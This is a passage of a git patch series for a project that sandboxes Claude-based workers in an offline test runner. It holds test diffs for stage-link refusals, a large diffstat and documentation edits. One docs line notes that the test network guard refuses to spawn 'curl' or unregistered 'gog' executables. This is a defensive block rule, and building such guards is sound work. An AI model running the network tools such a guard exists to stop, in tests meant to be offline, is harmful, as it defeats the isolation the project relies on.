JSON.stringify(edit(JSON.parse(value)));}catch{}} return value; @@ -139,15 +139,15 @@ export async function proveFixturePreparation(mode:string,brain:string,socketPat } if(linkMode&&mode!=="link-mapped"){ const reason=mode==="link-runtime-target"?"native runtime in stage symlink target":"managed fixture stage link view differs"; - await expect(runMaintenanceWorker({...base(),command:["/bin/sh","-c",'exec "$1"',"odysseus-link-boundary","/bin/true"]}),"EXACT_STAGE_LINK_MAPPING_MUST_REFUSE").rejects.toThrow(reason); + await expect(runMaintenanceWorker({...base(),command:[bundledClaudeBinary()!,"--version"]}),"EXACT_STAGE_LINK_MAPPING_MUST_REFUSE").rejects.toThrow(reason); console.log("FIXTURE_STAGE_LINK_EXPECTED_REFUSAL");return; } const byteChecks=nativeFixtureFindingCounts().executionByteFiles; expect((await runMaintenanceWorker(base())).exitCode,"REAL_INDEX_PREPARATION_RECAPTURED").toBe(0); - expect((await runMaintenanceWorker({...base(),command:["/bin/sh","-c",'exec "$1"',"odysseus-byte-boundary","/bin/true"]})).exitCode,"UNKNOWN_COMMAND_REACHES_MASKED_STAGE").toBe(0); + expect((await runMaintenanceWorker({...base(),command:[bundledClaudeBinary()!,"--version"]})).exitCode,"ADMITTED_NATIVE_REACHES_CHECKED_STAGE").toBe(0); expect(nativeFixtureFindingCounts().executionByteFiles,"MUTABLE_EXECUTION_BOUNDARY_REHASH_REQUIRED").toBeGreaterThan(byteChecks); if(mode==="link-mapped"){ - const result=await runMaintenanceWorker({...base(),command:["/bin/sh","-c",'exec "$1" "$2"',"odysseus-link-read","/bin/cat",brain+"/native-absolute-stage-link"]}); + const result=await runMaintenanceWorker({...base(),command:["/bin/cat",brain+"/native-absolute-stage-link"]}); expect(result.exitCode,result.stderr).toBe(0);expect(result.stdout,"MAPPED_LINK_READS_ACTUAL_STAGE_BYTES").toBe("Odysseus stage link\n");console.log("FIXTURE_MAPPED_STAGE_LINK_PASSED");return; } const gitRoot=output.output.source.replace(/\/merged$/,"/git-adapter");mkdirSync(gitRoot,{mode:0o700});mkdirSync(join(gitRoot,"bin"),{mode:0o700});mkdirSync(join(gitRoot,"hooks"),{mode:0o700}); diff --git a/scripts/native-proof/identity-manager.native.ts b/scripts/native-proof/identity-manager.native.ts index a77255de89..8fb26b0ae3 100644 --- a/scripts/native-proof/identity-manager.native.ts +++ b/scripts/native-proof/identity-manager.native.ts @@ -180,6 +180,7 @@ os.chmod(${JSON.stringify(join(brain, "opaque"))},0)`] }); const reasons:Partial>={"mid-walk-write":"managed fixture keeper snapshot is unavailable","stale-inspection":"managed fixture inspection changed after planning","wrong-preparer":"metadata-only probe launch chain differs","native-under-preparer":"metadata-only probe launch chain differs","failed-preparation":"metadata-only probe scope expired or source changed","copied-wrapper":"managed fixture keeper snapshot is unavailable","closed-wrapper":"managed fixture manager provenance expired","raw-expired":"managed fixture manager provenance expired","link-wrong-destination":"managed fixture stage link view differs","link-sibling-prefix":"managed fixture stage link view differs","link-changed-overlay":"managed fixture stage link view differs","link-external":"managed fixture stage link view differs","link-runtime-target":"native runtime in stage symlink target","link-chain-escape":"managed fixture stage link view differs"}; const reason=reasons[mode];expect(code,`REAL_PREPARATION_PROOF ${mode}: ${err}`).toBe(reason?1:0); expect(out,`REAL_PREPARATION_PROOF_REACHED ${mode}`).toContain(markers[mode]); + if(mode==="positive"||mode==="link-mapped"){const rows=err.split("\n").flatMap(line=>{try{return [JSON.parse(line)];}catch{return [];}});expect(rows.some(row=>row.kind==="native-offline-audit"&&row.nativeLaunched===true&&row.success===true),"PREPARATION_NATIVE_PROOF_HAS_OFFLINE_RECEIPT").toBe(true);} if(reason){expect(err).toContain('"kind":"native-offline-boundary"');expect(err).toContain('"nativeLaunched":false');expect(err).toContain(reason);} console.log(JSON.stringify({fixturePreparation:mode,result:"pass"})); } From 6438a7da812e363159163971217c715e626106d8 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Mon, 23 Nov 2026 19:58:29 +0000 Subject: [PATCH 149/187] test: replace per-stage inspection with an offline runner boundary --- .gitignore | 5 + docs/decisions/design-kit/follow-ups.md | 8 +- docs/decisions/design-kit/show-block-brief.md | 4 +- docs/decisions/design-kit/tool-loading.md | 10 +- docs/decisions/deterministic-sync.md | 2 +- docs/plans/google-workspace.md | 2 +- docs/process/testing.md | 172 +- experiments/2052-title-provenance/probe.ts | 9 +- .../fixtures/runtime-placement-probe.ts | 1 - package.json | 16 +- .../core/tests/claude-runner-binary.test.ts | 2 - .../claude-runner-rejected-token.test.ts | 2 - .../tests/claude-runner-subscription.test.ts | 2 - .../tests/ask-tool-request-id.test.ts | 8 +- .../tests/fixtures/autonomous-prompt-probe.ts | 3 - .../tests/fixtures/background-shell-probe.ts | 6 +- .../tests/fixtures/host-relay-probe.ts | 15 +- .../fixtures/interactive-git-prompt-probe.ts | 3 - .../fixtures/ordinary-host-relay-probe.ts | 9 +- .../fixtures/prepared-consumer-native-root.ts | 3 +- .../fixtures/provider-history-apify-probe.ts | 5 +- .../provider-history-attachment-probe.ts | 5 +- .../tests/fixtures/provider-history-probe.ts | 5 +- .../fixtures/provider-request-shape-probe.ts | 5 +- .../fixtures/relayed-runtime-traffic-probe.ts | 3 - .../tests/fixtures/sdk-host-relay-probe.ts | 14 +- .../tests/fixtures/server-host-relay-probe.ts | 42 +- .../tests/fixtures/session-prompt-probe.ts | 3 - .../tests/fixtures/shell-startup-probe.ts | 6 +- .../tests/fixtures/stable-roster-probe.ts | 3 - .../tests/fixtures/transcript-prefix-probe.ts | 3 - .../tests/follow-up-delivery.test.ts | 12 +- .../tests/helpers/native-host-login-mask.ts | 8 - .../helpers/native-process-observation.ts | 12 - .../helpers/native-relay-turn-diagnostic.ts | 13 - .../helpers/subscription-helper-witness.ts | 10 - .../tests/host-oauth.test.ts | 13 +- .../tests/host-relay-native.test.ts | 6 +- .../tests/native-hosted-runtime.test.ts | 19 +- .../tests/native-restart-versions.test.ts | 20 +- .../tests/native-route-qualification.test.ts | 13 +- .../tests/native-stale-write.test.ts | 8 +- .../tests/ordinary-host-relay.test.ts | 11 +- .../tests/provider-history.test.ts | 2 +- .../tests/relayed-runtime-traffic.test.ts | 3 +- .../tests/runtime-probe.test.ts | 7 +- .../tests/sdk-host-relay.test.ts | 27 +- .../tests/shell-startup.test.ts | 8 +- .../tests/subscription-billing.test.ts | 47 +- .../tests/fixtures/provider-history-probe.ts | 7 +- .../tests/worker-cli-path.test.ts | 3 +- .../tests/worker-stdio-release.test.ts | 6 +- .../fixtures/native-sdk-stderr-capture.ts | 35 - .../native-worker-startup-diagnostics.ts | 38 - .../fixtures/ordinary-identity-phases.ts | 4 - .../tests/fixtures/ordinary-identity-root.ts | 41 +- .../tests/fixtures/ordinary-identity-ws.ts | 94 +- .../private-fixture-directory-access.ts | 18 - .../tests/fixtures/private-proof-artifact.ts | 21 - .../fixtures/scratch-mask-identity-ws.ts | 7 +- .../helpers/worker-startup-view-fixture.ts | 11 +- .../maintenance-index-refusals.native.ts | 4 - .../maintenance-stage-provenance.native.ts | 16 +- .../tests/maintenance-temp-ledger-protocol.ts | 4 +- .../ui-sdk/tests/private-git-inputs.native.ts | 5 +- .../private-publication-transition.native.ts | 12 +- packages/ui-sdk/tests/worker-launcher.test.ts | 16 +- .../tests/worker-steps-event-loop.test.ts | 2 +- .../ui-server/tests/account-partition.test.ts | 5 +- .../tests/account-writes-offloop.test.ts | 3 +- .../ui-server/tests/bundled-claude.test.ts | 27 +- .../ui-server/tests/external-speech.test.ts | 3 +- .../ui-server/tests/governance-policy.test.ts | 2 +- .../tests/helpers/fixture-native-startup.ts | 9 +- .../tests/helpers/fixture-private-index.ts | 32 - .../tests/helpers/fixture-turn-data-tree.ts | 20 - .../tests/helpers/http-contract-app.ts | 4 +- .../tests/helpers/native-app-fixture.ts | 6 +- .../ui-server/tests/helpers/search-witness.ts | 10 - packages/ui-server/tests/helpers/test-app.ts | 4 +- .../tests/host-fallback-transition.test.ts | 2 +- .../tests/host-unpinned-folder-plan.test.ts | 2 +- .../tests/http-supported-mounts.test.ts | 3 +- .../inbox-dispatch-recovery.test.ts | 15 +- .../tests/maintenance-provider-relay.test.ts | 3 - .../tests/maintenance-temp-boundary-child.ts | 3 +- ...ntenance-temp-boundary-diagnostics.test.ts | 5 +- .../ui-server/tests/origin-policy.test.ts | 13 +- .../tests/safety-native-delivery.test.ts | 8 +- .../tests/safety-result-retention.test.ts | 32 +- .../tests/selectable-dictation.test.ts | 4 +- .../tests/subscription-login.test.ts | 4 - packages/ui-server/tests/turn-scope.test.ts | 6 +- scripts/capture-turn-surface.ts | 5 +- scripts/capture.ts | 10 +- scripts/captures/check-runtime-raster.ts | 2 +- scripts/check-pr.ts | 4 +- scripts/ci-runtime-setup.sh | 9 +- scripts/diagram-export-source.mjs | 2 +- .../fixtures/claude-core-default-launch.py | 4 +- scripts/fixtures/claude-core-default-probe.ts | 3 - scripts/measure-claude-capability.ts | 3 - scripts/measure-claude-delegation.ts | 11 +- scripts/measure-claude-enforcement.ts | 17 +- scripts/measure-claude-haiku.ts | 41 +- scripts/measure-claude-runtime.ts | 16 +- scripts/measure-claude-usage.ts | 3 - scripts/measure-form-schemas.ts | 1 - scripts/measure-graph-boost.ts | 1 - scripts/measure-pi-schema.ts | 2 - scripts/measure-real-provider-dispatch.ts | 10 +- scripts/measure-show-block-server.ts | 7 +- scripts/measure-show-block.ts | 17 +- scripts/measure-suggestions-preload.ts | 1 - scripts/measure-sync-judge.ts | 5 +- scripts/measure-sync-run.ts | 1 - scripts/measure-turn-surface-keyless.ts | 1 - scripts/measure-turn-surface-live.ts | 8 +- scripts/measure-turn-surface-report.ts | 1 - scripts/measure-turn-surface-tokens.ts | 1 - scripts/measurement-entry-preload.ts | 18 - scripts/measurement-entry.ts | 31 - scripts/measurement-rtk-fixture.ts | 23 +- scripts/measurement-worker-fixture.ts | 20 +- scripts/native-device-diagnostics.ts | 50 - scripts/native-exec-trace.ts | 37 - scripts/native-launch-ready.ts | 41 - scripts/native-opaque-stage.ts | 38 - scripts/native-proof/Dockerfile | 2 +- scripts/native-proof/code-change-receipts.ts | 2 +- .../fixture-preparation.native.ts | 170 - scripts/native-proof/guard-environment.ts | 11 - scripts/native-proof/handoff-proof.py | 67 - scripts/native-proof/handoff-proof.test.ts | 22 - scripts/native-proof/hosted-app-child.ts | 38 +- scripts/native-proof/hosted-app.test.ts | 5 +- .../native-proof/identity-manager.native.ts | 43 +- scripts/native-proof/native-connect.c | 288 -- scripts/native-proof/native-launch-ready.c | 26 - scripts/native-proof/native-runtime-carrier.c | 50 - scripts/native-proof/provider-index.native.ts | 14 +- scripts/native-proof/recovery-inventory.ts | 5 - scripts/native-proof/reference-efficiency.ts | 8 +- .../reference-integration-child.ts | 1 - .../reference-integration.native.ts | 3 +- scripts/native-proof/reference-pool.native.ts | 6 +- .../native-proof/schedule-folder-admission.ts | 3 +- scripts/native-proof/seccomp.json | 1 - .../stage-metadata-channel.test.py | 59 - scripts/native-proof/stage-metadata.native.ts | 59 - scripts/native-proof/uid-handoff.native.ts | 41 - scripts/native-rtk-diagnostics.ts | 71 - scripts/native-runtime-pin.ts | 54 - scripts/native-shared-audit.ts | 72 - scripts/native-stage-links.ts | 42 - scripts/native-stage-metadata-channel.py | 124 - scripts/native-stage-metadata-channel.ts | 28 - scripts/native-stage-metadata-check.ts | 43 - scripts/native-test-receipts.ts | 16 +- scripts/native-title-collector.ts | 35 - scripts/offline-runner/bootstrap.c | 128 + scripts/offline-runner/catalog.py | 108 + scripts/offline-runner/container.d.mts | 1 + scripts/offline-runner/container.mjs | 31 + scripts/offline-runner/masks.ts | 17 + scripts/offline-runner/native-proof.ts | 31 + scripts/offline-runner/pipes.ts | 76 + scripts/offline-runner/prepare.sh | 29 + scripts/offline-runner/proof.py | 394 +++ scripts/offline-runner/qualification.ts | 50 + scripts/offline-runner/rootless-files.json | 1726 ++++++++++ scripts/offline-runner/runner.py | 631 ++++ scripts/offline-runner/runtime-stub.c | 8 + scripts/offline-runner/view_client.py | 39 + scripts/offline-runner/view_service.py | 96 + scripts/pi-schema-offline-preload.ts | 1 - scripts/pi-schema-runner.py | 1 - scripts/prove-native-host.ts | 45 +- scripts/prove-reference-pool.ts | 9 +- scripts/prove-worker-identity.ts | 22 +- scripts/show-block-schema-forms.ts | 1 - scripts/test-native-guard.ts | 2788 ----------------- scripts/test-network-child-preload.ts | 2 + scripts/test-network-guard.ts | 99 +- scripts/test-network-preload.ts | 3 + scripts/test-shard-costs.json | 86 +- scripts/turn-surface-overlap.ts | 1 - scripts/unit-shard-observation.json | 418 --- scripts/visual.mjs | 12 +- scripts/worker-effect-witness.ts | 37 +- scripts/workspace-lease-container.ts | 2 +- tests/autonomous-containment.test.ts | 45 +- tests/browser-determinism-container.test.ts | 2 +- tests/claude-worker.test.ts | 2 +- tests/docker-bind-stability.test.ts | 21 - tests/docs-paths.test.ts | 4 +- tests/experiment-tier.test.ts | 2 +- tests/fixtures/autonomous-app-probe.ts | 3 - .../fixtures/autonomous-containment-probe.ts | 41 +- tests/fixtures/autonomous-dispatch-probe.ts | 3 - tests/fixtures/autonomous-runtime-probe.ts | 3 - tests/fixtures/claude-worker-probe.ts | 3 - tests/fixtures/pi-worker-probe.ts | 6 +- tests/fixtures/policy-boundary-probe.ts | 62 +- tests/fixtures/worker-limits-envelope.ts | 7 - tests/fixtures/worker-limits-workloads.ts | 10 +- tests/helpers/native-boundary-fixture.ts | 49 - tests/helpers/native-guard-copy-inventory.ts | 54 - tests/helpers/native-managed-proof.ts | 46 - tests/helpers/native-receipt-fixture.ts | 9 - .../helpers/native-stage-metadata-fixture.ts | 39 - tests/helpers/native-timeout-inventory.ts | 2 +- tests/helpers/provider-history.ts | 17 +- tests/helpers/test-invocation-fixture.ts | 2 +- tests/helpers/unit-worker-fixture.ts | 2 +- tests/hosted-proof.test.ts | 57 +- tests/local-checks.test.ts | 5 +- tests/measurement-entry.test.ts | 65 - tests/measurement-rtk-fixture.test.ts | 66 - tests/measurement-worker-fixture.test.ts | 29 - tests/native-app-authority.test.ts | 31 - tests/native-audit-cancellation.test.ts | 46 - tests/native-bootstrap-diagnostics.test.ts | 127 - tests/native-bootstrap-health.test.ts | 38 - tests/native-boundary-retention.test.ts | 68 - tests/native-copied-turn-tree.test.ts | 55 - tests/native-device-diagnostics.test.ts | 66 - tests/native-direct-transport.test.ts | 78 - tests/native-egress-wrapper.test.ts | 61 - tests/native-exec-trace.test.ts | 34 - tests/native-fixture-factory-capture.test.ts | 13 - tests/native-fixture-files.test.ts | 84 - tests/native-fixture-managed-policy.test.ts | 29 - tests/native-guard-copy-closure.test.ts | 34 - tests/native-guard-regressions.test.ts | 49 - tests/native-helper-witness.test.ts | 32 - tests/native-host-login-mask.test.ts | 21 - tests/native-launch-ready.test.ts | 66 - tests/native-managed-inspection.test.ts | 277 -- tests/native-managed-settings.test.ts | 44 - tests/native-namespace-policy.test.ts | 62 - tests/native-offline-boundary.test.ts | 858 ----- tests/native-path-preservation.test.ts | 65 - tests/native-policy-artifact.test.ts | 79 - tests/native-private-index-role.test.ts | 34 - tests/native-process-observation.test.ts | 20 - tests/native-product-keeper.test.ts | 37 - tests/native-qualification-paths.test.ts | 72 - tests/native-readonly-mount-order.test.ts | 38 - tests/native-receipt-channel.test.ts | 208 -- tests/native-recording-wrapper.test.ts | 29 - tests/native-relay-base-path.test.ts | 34 - tests/native-relay-turn-diagnostic.test.ts | 31 - tests/native-restart-watchdog.test.ts | 24 - tests/native-restricted-plan.test.ts | 64 - tests/native-rtk-adapter.test.ts | 105 - tests/native-rtk-diagnostics.test.ts | 58 - tests/native-rtk-zombie.test.ts | 47 - tests/native-runtime-credential-judge.test.ts | 16 - tests/native-runtime-pin.test.ts | 62 - tests/native-sdk-stderr-capture.test.ts | 96 - tests/native-shared-audit.test.ts | 70 - tests/native-socket-broker-exit.test.ts | 18 - tests/native-stage-links.test.ts | 18 - tests/native-startup-audit.test.ts | 65 - tests/native-strict-admission.test.ts | 162 - tests/native-sync-probe-diagnostics.test.ts | 44 - tests/native-title-collector.test.ts | 33 - tests/native-tripwire.test.ts | 313 -- tests/native-worker-admission.test.ts | 410 --- tests/native-worker-classification.test.ts | 148 - tests/native-worker-fixture-inventory.test.ts | 148 - .../native-worker-startup-diagnostics.test.ts | 40 - tests/offline-runner.test.ts | 72 + tests/policy-write-boundary.test.ts | 24 +- .../private-fixture-directory-access.test.ts | 60 - tests/private-proof-artifact.test.ts | 41 - tests/provider-history-host-authority.test.ts | 11 +- tests/search-witness.test.ts | 16 - tests/shipped-claude-runtime-pin.test.ts | 12 +- tests/test-determinism.test.ts | 2 +- tests/test-network-environment.test.ts | 15 - tests/test-script.test.ts | 2 +- tests/test-shards.test.ts | 2 +- tests/worker-effect-witness.test.ts | 26 - tests/worker-limits-envelope.test.ts | 10 - tests/worker-limits-workloads.test.ts | 6 +- tests/workspace-lease.test.ts | 2 +- 288 files changed, 3975 insertions(+), 11672 deletions(-) delete mode 100644 packages/ui-backend-claude/tests/helpers/native-host-login-mask.ts delete mode 100644 packages/ui-backend-claude/tests/helpers/native-process-observation.ts delete mode 100644 packages/ui-backend-claude/tests/helpers/native-relay-turn-diagnostic.ts delete mode 100644 packages/ui-backend-claude/tests/helpers/subscription-helper-witness.ts delete mode 100644 packages/ui-sdk/tests/fixtures/native-sdk-stderr-capture.ts delete mode 100644 packages/ui-sdk/tests/fixtures/native-worker-startup-diagnostics.ts delete mode 100644 packages/ui-sdk/tests/fixtures/private-fixture-directory-access.ts delete mode 100644 packages/ui-sdk/tests/fixtures/private-proof-artifact.ts delete mode 100644 packages/ui-server/tests/helpers/fixture-private-index.ts delete mode 100644 packages/ui-server/tests/helpers/fixture-turn-data-tree.ts delete mode 100644 packages/ui-server/tests/helpers/search-witness.ts delete mode 100644 scripts/measurement-entry-preload.ts delete mode 100644 scripts/measurement-entry.ts delete mode 100644 scripts/native-device-diagnostics.ts delete mode 100644 scripts/native-exec-trace.ts delete mode 100644 scripts/native-launch-ready.ts delete mode 100644 scripts/native-opaque-stage.ts delete mode 100644 scripts/native-proof/fixture-preparation.native.ts delete mode 100644 scripts/native-proof/guard-environment.ts delete mode 100644 scripts/native-proof/handoff-proof.py delete mode 100644 scripts/native-proof/handoff-proof.test.ts delete mode 100644 scripts/native-proof/native-connect.c delete mode 100644 scripts/native-proof/native-launch-ready.c delete mode 100644 scripts/native-proof/native-runtime-carrier.c delete mode 100644 scripts/native-proof/stage-metadata-channel.test.py delete mode 100644 scripts/native-proof/stage-metadata.native.ts delete mode 100644 scripts/native-proof/uid-handoff.native.ts delete mode 100644 scripts/native-rtk-diagnostics.ts delete mode 100644 scripts/native-runtime-pin.ts delete mode 100644 scripts/native-shared-audit.ts delete mode 100644 scripts/native-stage-links.ts delete mode 100644 scripts/native-stage-metadata-channel.py delete mode 100644 scripts/native-stage-metadata-channel.ts delete mode 100644 scripts/native-stage-metadata-check.ts delete mode 100644 scripts/native-title-collector.ts create mode 100644 scripts/offline-runner/bootstrap.c create mode 100644 scripts/offline-runner/catalog.py create mode 100644 scripts/offline-runner/container.d.mts create mode 100644 scripts/offline-runner/container.mjs create mode 100644 scripts/offline-runner/masks.ts create mode 100644 scripts/offline-runner/native-proof.ts create mode 100644 scripts/offline-runner/pipes.ts create mode 100755 scripts/offline-runner/prepare.sh create mode 100644 scripts/offline-runner/proof.py create mode 100644 scripts/offline-runner/qualification.ts create mode 100644 scripts/offline-runner/rootless-files.json create mode 100644 scripts/offline-runner/runner.py create mode 100644 scripts/offline-runner/runtime-stub.c create mode 100644 scripts/offline-runner/view_client.py create mode 100644 scripts/offline-runner/view_service.py delete mode 100644 scripts/test-native-guard.ts delete mode 100644 tests/fixtures/worker-limits-envelope.ts delete mode 100644 tests/helpers/native-boundary-fixture.ts delete mode 100644 tests/helpers/native-guard-copy-inventory.ts delete mode 100644 tests/helpers/native-managed-proof.ts delete mode 100644 tests/helpers/native-receipt-fixture.ts delete mode 100644 tests/helpers/native-stage-metadata-fixture.ts delete mode 100644 tests/measurement-entry.test.ts delete mode 100644 tests/measurement-rtk-fixture.test.ts delete mode 100644 tests/measurement-worker-fixture.test.ts delete mode 100644 tests/native-app-authority.test.ts delete mode 100644 tests/native-audit-cancellation.test.ts delete mode 100644 tests/native-bootstrap-diagnostics.test.ts delete mode 100644 tests/native-bootstrap-health.test.ts delete mode 100644 tests/native-boundary-retention.test.ts delete mode 100644 tests/native-copied-turn-tree.test.ts delete mode 100644 tests/native-device-diagnostics.test.ts delete mode 100644 tests/native-direct-transport.test.ts delete mode 100644 tests/native-egress-wrapper.test.ts delete mode 100644 tests/native-exec-trace.test.ts delete mode 100644 tests/native-fixture-factory-capture.test.ts delete mode 100644 tests/native-fixture-files.test.ts delete mode 100644 tests/native-fixture-managed-policy.test.ts delete mode 100644 tests/native-guard-copy-closure.test.ts delete mode 100644 tests/native-guard-regressions.test.ts delete mode 100644 tests/native-helper-witness.test.ts delete mode 100644 tests/native-host-login-mask.test.ts delete mode 100644 tests/native-launch-ready.test.ts delete mode 100644 tests/native-managed-inspection.test.ts delete mode 100644 tests/native-managed-settings.test.ts delete mode 100644 tests/native-namespace-policy.test.ts delete mode 100644 tests/native-offline-boundary.test.ts delete mode 100644 tests/native-path-preservation.test.ts delete mode 100644 tests/native-policy-artifact.test.ts delete mode 100644 tests/native-private-index-role.test.ts delete mode 100644 tests/native-process-observation.test.ts delete mode 100644 tests/native-product-keeper.test.ts delete mode 100644 tests/native-qualification-paths.test.ts delete mode 100644 tests/native-readonly-mount-order.test.ts delete mode 100644 tests/native-receipt-channel.test.ts delete mode 100644 tests/native-recording-wrapper.test.ts delete mode 100644 tests/native-relay-base-path.test.ts delete mode 100644 tests/native-relay-turn-diagnostic.test.ts delete mode 100644 tests/native-restart-watchdog.test.ts delete mode 100644 tests/native-restricted-plan.test.ts delete mode 100644 tests/native-rtk-adapter.test.ts delete mode 100644 tests/native-rtk-diagnostics.test.ts delete mode 100644 tests/native-rtk-zombie.test.ts delete mode 100644 tests/native-runtime-credential-judge.test.ts delete mode 100644 tests/native-runtime-pin.test.ts delete mode 100644 tests/native-sdk-stderr-capture.test.ts delete mode 100644 tests/native-shared-audit.test.ts delete mode 100644 tests/native-socket-broker-exit.test.ts delete mode 100644 tests/native-stage-links.test.ts delete mode 100644 tests/native-startup-audit.test.ts delete mode 100644 tests/native-strict-admission.test.ts delete mode 100644 tests/native-sync-probe-diagnostics.test.ts delete mode 100644 tests/native-title-collector.test.ts delete mode 100644 tests/native-tripwire.test.ts delete mode 100644 tests/native-worker-admission.test.ts delete mode 100644 tests/native-worker-classification.test.ts delete mode 100644 tests/native-worker-fixture-inventory.test.ts delete mode 100644 tests/native-worker-startup-diagnostics.test.ts create mode 100644 tests/offline-runner.test.ts delete mode 100644 tests/private-fixture-directory-access.test.ts delete mode 100644 tests/private-proof-artifact.test.ts delete mode 100644 tests/search-witness.test.ts delete mode 100644 tests/test-network-environment.test.ts delete mode 100644 tests/worker-effect-witness.test.ts delete mode 100644 tests/worker-limits-envelope.test.ts diff --git a/.gitignore b/.gitignore index bde18d3d58..bd5be521c3 100644 --- a/.gitignore +++ b/.gitignore @@ -43,3 +43,8 @@ debug-storybook.log /docs/decisions/design-kit-schema-forms-*.json /scripts/site-model-spike/ /scripts/policy-boundary-spike/ + +# Prepared static offline test bootstrap (source under scripts/offline-runner). +/.test-tools/ + +/scripts/offline-runner/__pycache__/ diff --git a/docs/decisions/design-kit/follow-ups.md b/docs/decisions/design-kit/follow-ups.md index f5b2003380..b34196a203 100644 --- a/docs/decisions/design-kit/follow-ups.md +++ b/docs/decisions/design-kit/follow-ups.md @@ -166,13 +166,13 @@ bun scripts/measure-show-block.ts --suggestions --schema-cost bun run test tests/measure-suggestions.test.ts # SDK level: 6 prompts x 2 arms x 3 repetitions = 36 turns. -bun scripts/measure-show-block.ts --allow-real-provider --suggestions --reps 3 --out sdk.json --md sdk.md -bun scripts/measure-show-block.ts --allow-real-provider --suggestions --tokens +bun scripts/measure-show-block.ts --suggestions --reps 3 --out sdk.json --md sdk.md +bun scripts/measure-show-block.ts --suggestions --tokens # Server level: 36 turns per backend, each against a separate fixture copy. # Copies live outside any checkout and home directory and are indexed first. -bun scripts/measure-show-block-server.ts --allow-real-provider --suggestions --brain --backend claude --model claude-sonnet-5-5 --runs 3 --out claude.json -bun scripts/measure-show-block-server.ts --allow-real-provider --suggestions --brain --backend pi --vendor anthropic --model claude-sonnet-5-5 --runs 3 --out pi.json +bun scripts/measure-show-block-server.ts --suggestions --brain --backend claude --model claude-sonnet-5-5 --runs 3 --out claude.json +bun scripts/measure-show-block-server.ts --suggestions --brain --backend pi --vendor anthropic --model claude-sonnet-5-5 --runs 3 --out pi.json bun scripts/measure-show-block-server.ts --report claude.json bun scripts/measure-show-block-server.ts --report pi.json ``` diff --git a/docs/decisions/design-kit/show-block-brief.md b/docs/decisions/design-kit/show-block-brief.md index 3231f2560c..d556e89760 100644 --- a/docs/decisions/design-kit/show-block-brief.md +++ b/docs/decisions/design-kit/show-block-brief.md @@ -333,13 +333,13 @@ other level — it drives the whole server over a real socket and is backend-agnostic, so it sees the classification pass, the wire frames and the client that this harness, sitting below all three, cannot. -**Reproducing it.** `bun scripts/measure-show-block.ts --allow-real-provider --reps 6 --concurrency 6 +**Reproducing it.** `bun scripts/measure-show-block.ts --reps 6 --concurrency 6 --out runs.json --md report.md`, with `ANTHROPIC_API_KEY` set. The always-loaded table is a different shape — eight prompts at three reps, not nine at six, with `recommend` the one this entry's nine that it omits: ```sh -bun scripts/measure-show-block.ts --allow-real-provider --always-load --reps 3 --only \ +bun scripts/measure-show-block.ts --always-load --reps 3 --only \ compare-short,compare-long,trend,contact,table,steps,quote,bars ``` diff --git a/docs/decisions/design-kit/tool-loading.md b/docs/decisions/design-kit/tool-loading.md index f01223e4e4..b2ed1796a6 100644 --- a/docs/decisions/design-kit/tool-loading.md +++ b/docs/decisions/design-kit/tool-loading.md @@ -44,7 +44,7 @@ arithmetic question and nobody had done the arithmetic. `count_tokens`. **The arithmetic, counted rather than estimated.** -`bun scripts/measure-show-block.ts --allow-real-provider --tokens` takes the schemas from the real +`bun scripts/measure-show-block.ts --tokens` takes the schemas from the real server — `createBrainUiMcpServer` with every handler supplied, listed over an in-memory MCP client, which is the serialisation the CLI forwards — and prices them with `count_tokens` on `claude-sonnet-5` in the two shapes the API @@ -387,9 +387,9 @@ earn their place. The question is #157. **Reproducing it.** ```sh -bun scripts/measure-show-block.ts --allow-real-provider --tokens -bun scripts/measure-show-block.ts --allow-real-provider --reps 3 --concurrency 6 --out deferred.json --md deferred.md -bun scripts/measure-show-block.ts --allow-real-provider --always-load --reps 3 --concurrency 6 --out loaded.json --md loaded.md +bun scripts/measure-show-block.ts --tokens +bun scripts/measure-show-block.ts --reps 3 --concurrency 6 --out deferred.json --md deferred.md +bun scripts/measure-show-block.ts --always-load --reps 3 --concurrency 6 --out loaded.json --md loaded.md ``` Both need `ANTHROPIC_API_KEY` and the network; CI runs none of it. Note that @@ -403,7 +403,7 @@ config carries no `alwaysLoad` so the in-process server never joins the startup wait set — is now the `d44-always-load-reaches-the-model` case of `scripts/measure-claude-runtime.ts`, keyless, against the runtime `MEASURED_RUNTIME` names. The latency and rate halves still need a live -model: `bun scripts/measure-show-block.ts --allow-real-provider --both-arms` runs both load modes in +model: `bun scripts/measure-show-block.ts --both-arms` runs both load modes in one invocation and records the Claude Code version of every turn. ## 2026-11-20 — Core reads and relayed discovery (#4306) diff --git a/docs/decisions/deterministic-sync.md b/docs/decisions/deterministic-sync.md index d0d117965d..6b1f7b16a1 100644 --- a/docs/decisions/deterministic-sync.md +++ b/docs/decisions/deterministic-sync.md @@ -158,7 +158,7 @@ of an adversarial review of the first cut, which found each of them missing. Jev (`jev-1.13.0`) on the two keyless eval sets in `packages/core/fixtures/sync-judge/`, three repeats each, scored at the -thresholds above with `bun scripts/measure-sync-judge.ts --allow-real-provider --set all --repeat 3 +thresholds above with `bun scripts/measure-sync-judge.ts --set all --repeat 3 --min-precision 0.9`: | Set | Items × repeats | Accuracy | Coverage at the line | Precision at the line | Order consistency | Repeat agreement | p50 / p95 | diff --git a/docs/plans/google-workspace.md b/docs/plans/google-workspace.md index 1124ced616..5576e4aa3d 100644 --- a/docs/plans/google-workspace.md +++ b/docs/plans/google-workspace.md @@ -786,7 +786,7 @@ Keyless, offline and deterministic. shaped from real gog 0.48 output by the live shape check, never copied from it. - **No real gog in tests.** The test network guard refuses to spawn any executable named `gog` that is not a registered fake, as it refuses `curl` - (`for (const key of ["spawn", "spawnSync"]`, `scripts/test-network-guard.ts:151-158`). + (`for (const key of ["spawn", "spawnSync"]`, `scripts/test-network-guard.ts:132-138`). - **Discipline tables.** Every catalog operation's argv uses only snapshot flags; reads carry `--readonly`; everything but the host send path carries `--gmail-no-send`; every call carries `--enable-commands-exact` for exactly its diff --git a/docs/process/testing.md b/docs/process/testing.md index df974192b7..b72e6c9b73 100644 --- a/docs/process/testing.md +++ b/docs/process/testing.md @@ -83,6 +83,34 @@ preload cleanup fallback; use `bun run test` for repeated or cancellable runs. Turns must await owned observation saves before settling so teardown cannot race storage writes. +### Qualifying a local test host + +Project-owned test entries use the prepared static offline launcher. Prepare it +with `bash scripts/offline-runner/prepare.sh`, then put the checkout's +`.test-tools` directory first on `PATH` before `bun run test` or `bun test`. +The launcher tries the root-created boundary first, then a qualified rootless +user/network/mount/PID/IPC boundary. Rootless runs refuse separate-UID, +root-bwrap and setpriv selections before their modules execute. Unknown or +changed rootless selections also refuse. If neither boundary qualifies, the +whole invocation stops before test modules; masks and the preload are not an +unguarded fallback. + +A host owner can explicitly install the 